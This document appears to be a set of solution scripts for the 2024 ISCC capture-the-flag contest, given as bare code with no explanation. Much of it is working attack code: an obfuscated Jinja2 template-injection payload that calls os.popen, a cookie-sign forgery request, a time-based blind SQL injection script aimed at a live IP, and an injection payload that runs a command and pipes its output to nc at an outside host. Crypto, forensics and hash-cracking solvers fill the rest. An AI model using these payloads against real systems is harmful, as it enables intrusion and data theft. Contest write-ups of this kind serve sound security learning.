2024 ISCC 个人挑战赛

{%set pp=dict(POP=x)|first|lower%}{%set yl=dict(OS=x)|first|lower%}{%set po=dict(POPEN=x)|first|lower%}{%set re=dict(READ=x)|first|lower%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set go=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~gl~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set ge=dict(GETITEM=x)|first|lower%}{%set gi=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~ge~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set bl=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~bu~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set im=dict(IMPORT=x)|first|lower%}{%set ip=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~im~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set ty=lipsum()|urlencode|first%}{%set jd=namespace|escape|count%}{%set tn=joiner|urlencode|wordcount%}{%set ql=namespace|escape|urlencode|escape|urlencode|count%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set lx=dict(a=x,b=x,c=x)|length%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set dp=dict(aaaaa=x)|first|length%}{%set zb=(lx,la)|sum%}{%set et=(lla,lla,lla,zb)|sum%}{%set ba=((ty~dict(c=x)|join)*(jd,tn,la)|sum)%((ql,tn,la)|sum,(ql,tn)|sum,(llla,zb)|sum,(ql,lla,lx)|sum,(lla,lla,tn,lx)|sum,(et,tn,la)|sum,(ql,tn,la,la)|sum,(lla,lla,tn,lx)|sum,(lla,lla,lla,la)|sum,(ql,tn,la)|sum,(ql,tn)|sum,(llla,zb)|sum,(ql,lla,lx)|sum,(lla,lla,tn,lx)|sum,(et,tn,la)|sum,(ql,lla,zb)|sum,(lla,lla,tn,lx)|sum,(sbb,bb)|sum,(et,la)|sum,(lla,lla,tn,lx)|sum,(jd,la)|sum,(ql,tn,lx)|sum,(ql,lla)|sum,(llla,tn)|sum,(jd,la)|sum,(llla,dp)|sum,(ql,tn,la,la)|sum,(llla,la)|sum,(jd,la)|sum,(jd,tn,la)|sum,(jd,lx)|sum,jd,(jd,lx)|sum,(jd,dp)|sum,(sbb,la)|sum,jd,(jd,tn,la)|sum,(jd,tn)|sum,jd,(jd,lx)|sum,(jd,dp)|sum,(jd,tn)|sum,(jd,la)|sum,(jd,tn)|sum,sbb,(jd,lx)|sum,(jd,lx)|sum,(sbb,la)|sum,(lla,lla,tn,lx)|sum,(jd,la,la)|sum,(sbb,bb)|sum,(et,la)|sum,(jd,lx)|sum,(lla,lla,lla,la)|sum)%}{%print ((g|attr(pp)|attr(go)|attr(gi)(bl)|attr(gi)(ip))(yl)|attr(po))(ba)|attr(re)()%}

from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum
class Mode(Enum):
    ECB = 0x01
    CBC = 0x02
    CFB = 0x03
class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        self.ROUNDS = 64
        if self.IV:
            self.mode = Mode.CBC if iv else Mode.ECB
            if len(self.IV) * 8 != self.BLOCK_SIZE:
                self.mode = Mode.CFB
    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
    def decrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        msk = (1 << (self.BLOCK_SIZE//2)) - 1
        s = self.DELTA * self.ROUNDS
        for i in range(self.ROUNDS-1, -1, -1):
            m1 = (((m1 << 4) + self.KEY[(i+2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i+3) % len(self.KEY)])) & msk
            m0 = (((m0 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i+1) % len(self.KEY)])) & msk
            s -= self.DELTA
        return l2b((m0 << (self.BLOCK_SIZE//2)) | m1)

    def encrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        msk = (1 << (self.BLOCK_SIZE // 2)) - 1
        s = 0
        for i in range(self.ROUNDS):
            s += self.DELTA
            m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])
            m0 &= msk
            m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ (
                        (m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])
            m1 &= msk
        return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)

    def decrypt(self, msg):
        blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]
        pt = b''
        if self.mode == Mode.ECB:
            for ct in blocks:
                pt += self.decrypt_block(ct)
        elif self.mode == Mode.CBC:
            X = self.IV
            for ct in blocks:
                dec_block = self.decrypt_block(ct)
                pt += self._xor(X, dec_block)
                X = ct
        elif self.mode == Mode.CFB:
            X = self.IV
            for ct in blocks:
                output = self.encrypt_block(X)
                dec_block = self._xor(output, ct)
                pt += dec_block
                X = ct
        return unpad(pt, self.BLOCK_SIZE//8)
if __name__ == '__main__':
    KEY = bytes.fromhex('3362623866656338306539313238353733373566366338383563666264386133')
    IV = bytes.fromhex('64343537373337663034346462393931')
    cipher = Cipher(KEY, IV)
    ct = bytes.fromhex('1cb8db8cabe8edbbddb236d5eb6f0cdeb610e9af855b52d3')
    pt = cipher.decrypt(ct)
    print(pt)

from flask import Flask, request
import hashlib
import urllib.parse
import os
import json

app = Flask(__name__)
secret_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():
            if "scan" in self.action:
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    self.append_to_file(resp)  # 追加内容到已存在的文件
                result['code'] = 200
            if "read" in self.action:
                result['code'] = 200
                result['data'] = self.read_from_file()  # 从已存在的文件中读取
        if result['code'] == 500:
            result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if get_sign(self.action, self.param) == self.sign:
            return True
        else:
            return False


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.parse.unquote(request.args.get("param", ""))
    action = "scan"
    return get_sign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.parse.unquote(request.cookies.get("action"))
    param = urllib.parse.unquote(request.args.get("param", ""))
    sign = urllib.parse.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if waf(param):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    try:
        with open(param, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return "The file does not exist"


def md5(content):
    return hashlib.md5(content.encode()).hexdigest()


def get_sign(action, param):
    return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()


def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run()

import requests

r1=requests.get("http://101.200.138.180:12315/geneSign?param=flag.txtread")
sign=r1.text
# print(sign)
r2 = requests.get("http://101.200.138.180:12315/De1ta?param=flag.txt",cookies={'action':'readscan','sign':sign})
print(r2.text)

import requests
import string
import time

class SQLInjector:
    def __init__(self):
        self.url = "http://123.57.204.215:8003/inquiry/"
        self.headers = {}
        self.cookies = {"csrftoken": "8pPnNzLx77uLm4bkZaM7rDnP2MyoFxoSFvOXGWtzpGaknkM1Dgp9wDIB44fQ644o"}
        self.data = {
            "csrfmiddlewaretoken": "Hg5nkrubq2xkDkiNBYjM58FmIA3wHK1zem4XdOcdIBdTEATuf4WOa808KSKY8hH5",
            "sel_value": "name"
        }

    def inject_time(self, condition):
        self.data["nick_name"] = f'name",(case when({condition}) then randomblob(1000000000) else 0 end),"1'
        while True:
            try:
                start_time = time.time()
                response = requests.post(self.url, headers=self.headers, cookies=self.cookies, data=self.data)
                end_time = time.time()
                # print(end_time - start_time)
                return end_time - start_time > 3
            except Exception as e:
                print(f"Error: {e}")
                continue

    def get_length(self, query):
        for i in range(1, 1000):
            if self.inject_time(f"length({query})={i}"):
                return i

    def get_char(self, query, index):
        alphabet = string.printable
        for char in alphabet:
            if self.inject_time(f"substr({query},{index},1)='{char}'"):
                return char

    def get_value(self, query, length):
        result = ""
        for i in range(1, length + 1):
            char = self.get_char(query, i)
            result += f"{{{i}}}" if char is None else char
        return result

    def get_flag(self):
        flag_query = "(select group_concat(flag) from flag)"
        return ''.join(self.get_char(flag_query, i) for i in range(1, 14))

def main():
    injector = SQLInjector()
    print(injector.get_flag())

if __name__ == "__main__":
    main()

from random import randint
import requests

payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc 61.139.65.135 58119`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
    'username': username+payload,
    'password': 'AAAAAA'
}
r =requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data)
print(r.text)

n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 107852602155773259923403542389501492981002279247787424909446593128061875438006317873953522631052977581341992123944556437032034169947931866268754972830643540131939906290453588788889926914293025647586041889600171520005628290525448770232539992496475146604656722856735212907459138830366239274982714366288383870403
leak1 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
leak2 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458

sol = leak1 + leak2
p_plus_q = 2 * n + 4 - sol
assert p_plus_q % 3 == 0
p_plus_q = p_plus_q // 3
phi = n + 1 - p_plus_q
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

# coding=gbk
import hashlib
import hmac

key=b'plum'
h = hmac.new(key, digestmod=hashlib.md5)
a=bytes('天道好还'.encode('utf-8'))
h.update(a)
print(h.hexdigest())

def H_gcd(a, b, c, d):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x ^ m)
    b_top, b_bot = b.quo_rem(x ^ m)
    R00, R01, R10, R11 = H_gcd(a_top, b_top, c, d)
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ^ (m // 2))
    e_top, e_bot = e.quo_rem(x ^ (m // 2))
    S00, S01, S10, S11 = H_gcd(d_top, e_top, c, d)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11

def gcd(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    R00, R01, R10, R11 = H_gcd(a, b, c, d)
    return gcd(d, r)

c1= 12744943905414850308417999904986376734124631504071873205947855422177085470281673606545618388415721111590612847111002272759511218047943933697705976629728581810858696917222051538576892514221463056369716823164158104938702580464838007334942075998153764497740905960677225327756537463202273615355910310326155870838333350872007309931187462233162642322207598571944949297806707589838065768093503541323044156047612831270612073868030226314544152655775548103253996455564925410496635352736573316587910068873366434782453664081150507883925930476919990344434527274810765667454032527896723700182974061325254742297277353789121472418169
c2= 9770516807895772972980379185536457290028475666066776780041135025450851339561407032940190938668771545174037785359727908318149187650001968997249646628840702638717224296202624527806376926550191829392297045454749310128015447709365941605545253333938384394543626443841455610326764203685673066225663387400045310664520807257175739221118081085784720144167245348076111129673332284921879492527930822920789501897637756635423136492848881001435830563076633845035099887634861187099579448924882832779812380007954483951512362176489845658310002699999587394712798913593450316496875947914832214035413991634284445797252954993798163292773
N=14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697
e = 52595

pad1 = 1769169763
pad2 = 1735356260
PR.<x>=PolynomialRing(Zmod(N))
g1 = (x*2^32+pad1)^e - c1
g2 = (x*2^32+pad2)^e - c2
X=584734024210292804199275855856518183354184330877
print(g1(X),g2(X))
res = gcd(g1,g2)
m = -res.coefficients()[0]

print(bytes.fromhex(hex(m)[2:]).decode().replace("flag{",'ISCC{'))

f1=open('11','rb')
f2=open('22','rb')
f3=open('33','rb')
f4=open('44','rb')
f5=open('5.zip','wb')
for i in range(3176):
    f5.write(f1.read(1))
    f5.write(f2.read(1))
    f5.write(f3.read(1))
    f5.write(f4.read(1))
f5.write(f1.read(1))
f5.write(f2.read(1))

from Crypto.Util.number import *

p=100882503720822822072470797230485840381
q=167722355418488286110758738271573756671
e=65537
n=16920251144570812336430166924811515273080382783829495988294341496740639931651
phi=(p-1)*(q-1)
c=bytes_to_long(open("true_flag.jpeg","rb").read())
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))

\#!/usr/bin/env python  
\# -\*- coding:utf-8 -\*-\\  
import re  

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"\<RET\>","29":"\<ESC\>","2a":"\<DEL\>", "2b":"\\t","2c":"\<SPACE\>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\\\","32":"\<NON\>","33":";","34":"'","35":"\<GA\>","36":",","37":".","38":"/","39":"\<CAP\>","3a":"\<F1\>","3b":"\<F2\>", "3c":"\<F3\>","3d":"\<F4\>","3e":"\<F5\>","3f":"\<F6\>","40":"\<F7\>","41":"\<F8\>","42":"\<F9\>","43":"\<F10\>","44":"\<F11\>","45":"\<F12\>"}  
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"\#", "21":"\$", "22":"%", "23":"\^","24":"&","25":"\*","26":"(","27":")","28":"\<RET\>","29":"\<ESC\>","2a":"\<DEL\>", "2b":"\\t","2c":"\<SPACE\>","2d":"_","2e":"+","2f":"{","30":"}","31":"\|","32":"\<NON\>","33":"\\"","34":":","35":"\<GA\>","36":"\<","37":"\>","38":"?","39":"\<CAP\>","3a":"\<F1\>","3b":"\<F2\>", "3c":"\<F3\>","3d":"\<F4\>","3e":"\<F5\>","3f":"\<F6\>","40":"\<F7\>","41":"\<F8\>","42":"\<F9\>","43":"\<F10\>","44":"\<F11\>","45":"\<F12\>"}  
output = []  
keys = open('test.json')  
keys=re.findall(r'usb\\.capdata": "([\^\\"]+)',keys.read())  
print(keys)  
for line in keys:  
 try:  
 if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":  
 continue  
 if line[6:8] in normalKeys.keys():  
 output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']  
 else:  
 output += ['[unknown]']  
 except:  
 pass  
\# keys.close()  

flag=0  
print("".join(output))  
for i in range(len(output)):  
 try:  
 a=output.index('\<DEL\>')  
 del output[a]  
 del output[a-1]  
 except:  
 pass  
for i in range(len(output)):  
 try:  
 if output[i]=="\<CAP\>":  
 flag+=1  
 output.pop(i)  
 if flag==2:  
 flag=0  
 if flag!=0:  
 output[i]=output[i].upper()  
 except:  
 pass  
print ('output :' + "".join(output))

import time  
import os  

t=1728864000  
b=""  
for i in range(0,18):  
 mtime = time.localtime(os.path.getmtime("./34/.%s.txt"%i))  
 mtime=int(time.mktime(time.strptime(time.strftime('%Y-%m-%d %H:%M:%S', mtime), "%Y-%m-%d %H:%M:%S")))  
 b+=chr(mtime-t)  
print(b)

import hashlib
import itertools

def crack_sha256(hash_to_crack, known_string):
  for digits in itertools.product(range(10), repeat=8):
    attempt = "".join(map(str, digits))+known_string
    hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest()
    if hashed_attempt == hash_to_crack:
      return attempt
  return None

# Example usage
hash_to_crack = "437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa"  # Replace with the actual hash
known_string = "gwC9nOCNUhsHqZm"
cracked_password = crack_sha256(hash_to_crack, known_string)
print(f"Password found: {cracked_password}")

import java.io.UnsupportedEncodingException;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import java.util.Random;

public class Receiver{
    private static final int SALT_LENGTH = 16;

    public static void main(String[] args) {
        String stringExtra = "04999999";
        String stringExtra2 = "gwC9nOCNUhsHqZm";
        String sha256 = getSHA256(stringExtra + stringExtra2);
        if (stringExtra == null || stringExtra2 == null || !sha256.equals("437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa")) {
            return;
        }
        String encrypted = encrypt2(encrypt(stringExtra, stringExtra2));
        System.out.println("Encrypted (first 32 chars): " + encrypted.substring(0, 32));
        // Demonstrating decryption
//        String decrypted = decrypt(decrypt2(encrypted));
//        System.out.println("Decrypted: " + decrypted);
    }

    public static String encrypt(String str, String str2) {
        byte[] generateSalt = generateSalt(16);
        byte[] customEncrypt = customEncrypt(combineStrings(str, str2).getBytes(StandardCharsets.UTF_8), generateSalt);
        byte[] bArr = new byte[generateSalt.length + customEncrypt.length];
        System.arraycopy(generateSalt, 0, bArr, 0, generateSalt.length);
        System.arraycopy(customEncrypt, 0, bArr, generateSalt.length, customEncrypt.length);
        return Base64.getEncoder().encodeToString(bArr);
    }

    public static String decrypt(String str) {
        byte[] decode = Base64.getDecoder().decode(str);
        byte[] bArr = new byte[16];
        int length = decode.length - 16;
        byte[] bArr2 = new byte[length];
        System.arraycopy(decode, 0, bArr, 0, 16);
        System.arraycopy(decode, 16, bArr2, 0, length);
        return new String(customDecrypt(bArr2, bArr), StandardCharsets.UTF_8);
    }

    private static byte[] generateSalt(int i) {
        byte[] bArr = new byte[i];
        new Random(5733L).nextBytes(bArr);
        return bArr;
    }

    private static String combineStrings(String str, String str2) {
        return str + str2;
    }

    private static byte[] customEncrypt(byte[] bArr, byte[] bArr2) {
        byte[] bArr3 = new byte[bArr.length];
        for (int i = 0; i < bArr.length; i++) {
            bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]);
        }
        return bArr3;
    }

    private static byte[] customDecrypt(byte[] bArr, byte[] bArr2) {
        return customEncrypt(bArr, bArr2);
    }

    public static String encrypt2(String str) {
        byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
        for (int i = 0; i < bytes.length; i++) {
            bytes[i] = (byte) ((bytes[i] + Byte.MAX_VALUE) % 256);
        }
        byte[] bArr = new byte[bytes.length];
        for (int i2 = 0; i2 < bytes.length; i2++) {
            bArr[i2] = (byte) (i2 % 2 == 0 ? bytes[i2] ^ 123 : bytes[i2] ^ 234);
        }
        return Base64.getEncoder().encodeToString(bArr);
    }

    public static String decrypt2(String str) {
        byte[] decode = Base64.getDecoder().decode(str);
        for (int i = 0; i < decode.length; i++) {
            decode[i] = (byte) (i % 2 == 0 ? decode[i] ^ 123 : decode[i] ^ 234);
        }
        byte[] bArr = new byte[decode.length];
        for (int i2 = 0; i2 < decode.length; i2++) {
            bArr[i2] = (byte) ((decode[i2] + 129) % 256);
        }
        return new String(bArr, StandardCharsets.UTF_8);
    }

    public static String getSHA256(String str) {
        try {
            MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
            messageDigest.update(str.getBytes("UTF-8"));
            return byte2Hex(messageDigest.digest());
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "";
        } catch (NoSuchAlgorithmException e2) {
            e2.printStackTrace();
            return "";
        }
    }

    private static String byte2Hex(byte[] bArr) {
        StringBuffer stringBuffer = new StringBuffer();
        for (byte b : bArr) {
            String hexString = Integer.toHexString(b & 0xFF);
            if (hexString.length() == 1) {
                stringBuffer.append("0");
            }
            stringBuffer.append(hexString);
        }
        return stringBuffer.toString();
    }
}